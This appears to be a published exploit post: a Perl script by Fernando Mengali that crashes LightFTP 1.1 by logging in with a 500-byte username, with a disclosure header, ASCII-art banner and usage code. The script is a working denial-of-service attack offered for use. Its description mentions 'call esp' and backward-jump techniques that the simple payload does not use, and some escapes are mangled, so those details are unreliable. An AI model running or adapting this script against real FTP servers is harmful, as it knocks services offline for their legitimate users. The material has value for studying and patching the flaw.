Authored by Fernando Mengali

LightFTP version 1.1 remote denial of service exploit.

#!/usr/bin/perl


use Net::FTP;

# Exploit Title: LightFTP 1.1 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 15 january 2024
# Vendor Homepage: N/A
# Notification vendor: No reported
# Tested Version: LightFTP 1.1
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server does not correctly handle the amount of data or bytes of the USERNAME entered by the user.
#When authenticating to the FTP server with a long USERNAME or a USERNAME with a large number of characters for the FTP server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}

system("$cmd");

intro();
main();

print "[+] Exploiting... n";

my $payload = "x41"x500;

my $ftp = Net::FTP->new($ip, Debug => 0) or die "Não foi possível se conectar ao servidor: $@";

$ftp->login($payload,"anonymous") or die "[+] Possibly exploited!";

$ftp->quit;

print "[+] Done - Exploited success!!!!!nn";

sub intro {
print q {

,--,
_ ___/ /|
,;'( )__, ) ~
// // '--;
' | ^
^ ^

[+] LightFTP 1.1 - Denial of Service (DoS)

[*] Coded by Fernando Mengali

[@] e-mail: [email protected]

}
}

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print " nUsage: $0 <ip> <port> n";
exit(-1);

}
}

#3. Solution/ How to fix:

# This version product is deprecated